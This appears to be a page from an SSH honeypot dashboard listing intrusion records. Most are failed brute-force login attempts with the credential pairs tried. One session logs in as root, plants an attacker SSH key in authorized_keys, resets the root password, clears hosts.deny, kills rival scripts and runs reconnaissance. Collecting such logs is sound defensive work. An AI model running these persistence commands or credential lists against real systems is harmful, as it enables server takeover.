nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 3718 / 16179 (808944 total records)
Passive Observation Node - Active Operational Overview
109.160.32.131
2026-10-07 19:56:51.871749 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: omid

Record ID: 9d539a9edac4
Client Version: SSH-2.0-Go
Engagement Duration: 4.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "9d539a9edac4",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:56:51.871749Z",
  "end_time": "2026-10-07T19:56:56.122433Z",
  "duration": "4.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "omid",
      "pass": "steam"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:56:46.417177 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1

Record ID: 4c88d275e11a
Client Version: SSH-2.0-Go
Engagement Duration: 4.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "4c88d275e11a",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:56:46.417177Z",
  "end_time": "2026-10-07T19:56:50.611910Z",
  "duration": "4.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "admin1",
      "pass": "home"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:56:41.097739 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ss

Record ID: 888c7a21903a
Client Version: SSH-2.0-Go
Engagement Duration: 3.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "888c7a21903a",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:56:41.097739Z",
  "end_time": "2026-10-07T19:56:44.656054Z",
  "duration": "3.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ss",
      "pass": "nPSpP4PBW0"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:56:35.411547 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hikemqtt

Record ID: 2b08b2cea67d
Client Version: SSH-2.0-Go
Engagement Duration: 3.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "2b08b2cea67d",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:56:35.411547Z",
  "end_time": "2026-10-07T19:56:38.866329Z",
  "duration": "3.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "hikemqtt",
      "pass": "linux123456789"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:56:29.874613 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kamgareyman

Record ID: 7f1e465dd321
Client Version: SSH-2.0-Go
Engagement Duration: 2.4s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "7f1e465dd321",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:56:29.874613Z",
  "end_time": "2026-10-07T19:56:32.263909Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "kamgareyman",
      "pass": "riccardo"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:56:23.375500 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: Patrick

Record ID: 809c425ca817
Client Version: SSH-2.0-Go
Engagement Duration: 3.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "809c425ca817",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:56:23.375500Z",
  "end_time": "2026-10-07T19:56:27.303429Z",
  "duration": "3.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "Patrick",
      "pass": "vastai"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:56:17.592161 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s8mike

Record ID: 6dee89d8e0b8
Client Version: SSH-2.0-Go
Engagement Duration: 4.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "6dee89d8e0b8",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:56:17.592161Z",
  "end_time": "2026-10-07T19:56:21.639411Z",
  "duration": "4.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "s8mike",
      "pass": "arya@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:56:10.054017 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: utsdba

Record ID: b5986655efa5
Client Version: SSH-2.0-Go
Engagement Duration: 6.7s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "b5986655efa5",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:56:10.054017Z",
  "end_time": "2026-10-07T19:56:16.770198Z",
  "duration": "6.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "utsdba",
      "pass": "Qq112233"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:56:03.797059 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs619

Record ID: 156f7d8a7a5b
Client Version: SSH-2.0-Go
Engagement Duration: 8.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "156f7d8a7a5b",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:56:03.797059Z",
  "end_time": "2026-10-07T19:56:12.627233Z",
  "duration": "8.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "cs619",
      "pass": "Zhangjay5865358"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:58.225090 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin3

Record ID: 9095048ffa67
Client Version: SSH-2.0-Go
Engagement Duration: 9.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "9095048ffa67",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:58.225090Z",
  "end_time": "2026-10-07T19:56:08.036740Z",
  "duration": "9.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "admin3",
      "pass": "weblogic123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:52.608510 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hyx

Record ID: 43f537a35a0d
Client Version: SSH-2.0-Go
Engagement Duration: 9.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "43f537a35a0d",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:52.608510Z",
  "end_time": "2026-10-07T19:56:01.899914Z",
  "duration": "9.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "hyx",
      "pass": "student"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:47.067538 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hlvps

Record ID: 45b6a7f20a43
Client Version: SSH-2.0-Go
Engagement Duration: 9.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "45b6a7f20a43",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:47.067538Z",
  "end_time": "2026-10-07T19:55:56.662415Z",
  "duration": "9.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "hlvps",
      "pass": "deployer"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:40.883988 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deepak

Record ID: 48b28981c3df
Client Version: SSH-2.0-Go
Engagement Duration: 9.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "48b28981c3df",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:40.883988Z",
  "end_time": "2026-10-07T19:55:49.846673Z",
  "duration": "9.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "deepak",
      "pass": "testuser123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:35.606932 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: it

Record ID: 971dc8637447
Client Version: SSH-2.0-Go
Engagement Duration: 9.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "971dc8637447",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:35.606932Z",
  "end_time": "2026-10-07T19:55:45.247526Z",
  "duration": "9.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "it",
      "pass": "admin@123!@"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:30.232732 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jfedu1

Record ID: 934b818be706
Client Version: SSH-2.0-Go
Engagement Duration: 8.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "934b818be706",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:30.232732Z",
  "end_time": "2026-10-07T19:55:38.873607Z",
  "duration": "8.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "jfedu1",
      "pass": "abc.123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:24.268652 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: alexis

Record ID: c59c9179efa1
Client Version: SSH-2.0-Go
Engagement Duration: 8.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "c59c9179efa1",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:24.268652Z",
  "end_time": "2026-10-07T19:55:32.591018Z",
  "duration": "8.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "alexis",
      "pass": "123456789"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:18.487475 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bernardo

Record ID: d261f4ef3b23
Client Version: SSH-2.0-Go
Engagement Duration: 8.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "d261f4ef3b23",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:18.487475Z",
  "end_time": "2026-10-07T19:55:26.527204Z",
  "duration": "8.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "bernardo",
      "pass": "abcd@1234!"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:12.708740 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: therwi

Record ID: a168e3fe9831
Client Version: SSH-2.0-Go
Engagement Duration: 8.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "a168e3fe9831",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:12.708740Z",
  "end_time": "2026-10-07T19:55:21.633549Z",
  "duration": "8.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "therwi",
      "pass": "123654"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:07.222959 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ciuser

Record ID: ee646013550f
Client Version: SSH-2.0-Go
Engagement Duration: 9.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "ee646013550f",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:07.222959Z",
  "end_time": "2026-10-07T19:55:16.465594Z",
  "duration": "9.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ciuser",
      "pass": "qian1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:55:01.139877 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hkodali

Record ID: 035fc39672fc
Client Version: SSH-2.0-Go
Engagement Duration: 8.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "035fc39672fc",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:55:01.139877Z",
  "end_time": "2026-10-07T19:55:09.766242Z",
  "duration": "8.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "hkodali",
      "pass": "maps"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:54:55.249869 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: keitaro-support

Record ID: 2353633a5c35
Client Version: SSH-2.0-Go
Engagement Duration: 7.7s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "2353633a5c35",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:54:55.249869Z",
  "end_time": "2026-10-07T19:55:02.921308Z",
  "duration": "7.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "keitaro-support",
      "pass": "cowrie"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.131
2026-10-07 19:54:49.255920 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: f-config-11

Record ID: b7a8e56ad481
Client Version: SSH-2.0-Go
Engagement Duration: 5.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "b7a8e56ad481",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:54:49.255920Z",
  "end_time": "2026-10-07T19:54:54.286682Z",
  "duration": "5.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "f-config-11",
      "pass": "Pa395384w0rd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
218.23.192.91
2026-10-07 19:54:40.715766 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b120df867d52
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "b120df867d52",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:54:40.715766Z",
  "end_time": "2026-10-07T19:56:40.722183Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
218.23.192.91
2026-10-07 19:54:32.729243 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5519633e6999
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "5519633e6999",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:54:32.729243Z",
  "end_time": "2026-10-07T19:56:32.733409Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
218.23.192.91
2026-10-07 19:54:29.703576 UTC
SUCCESSFUL LOGIN RECONNAISSANCE COMMANDS RUN SCORE: 340

Credential acceptance event recorded. Target authentication: root / Abcd1234@@

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:XO1sye5KTWCI"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 64e60c19a4b9
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 27.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "64e60c19a4b9",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:54:29.703576Z",
  "end_time": "2026-10-07T19:54:57.589106Z",
  "duration": "27.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Abcd1234@@"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:XO1sye5KTWCI\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:XO1sye5KTWCI\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "SUCCESSFUL LOGIN",
    "RECONNAISSANCE",
    "COMMANDS RUN"
  ]
}
109.160.32.131
2026-10-07 19:54:13.023005 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0d97c75b102e
Client Version: SSH-2.0-Go
Engagement Duration: 8.0s
HASSH Fingerprint: 084386fa7ae5039bcf6f07298a05a227
{
  "id": "0d97c75b102e",
  "src_ip": "109.160.32.131",
  "start_time": "2026-10-07T19:54:13.023005Z",
  "end_time": "2026-10-07T19:54:21.027595Z",
  "duration": "8.0",
  "version": "SSH-2.0-Go",
  "hassh": "084386fa7ae5039bcf6f07298a05a227",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
218.23.192.91
2026-10-07 19:51:34.627835 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a13707dcd3ac
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a13707dcd3ac",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:51:34.627835Z",
  "end_time": "2026-10-07T19:53:34.662034Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
218.23.192.91
2026-10-07 19:48:31.584321 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 41404b79e3b7
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "41404b79e3b7",
  "src_ip": "218.23.192.91",
  "start_time": "2026-10-07T19:48:31.584321Z",
  "end_time": "2026-10-07T19:50:31.592531Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
13.140.177.137
2026-10-07 19:47:45.827337 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2bf15f8355da
Client Version: Unknown
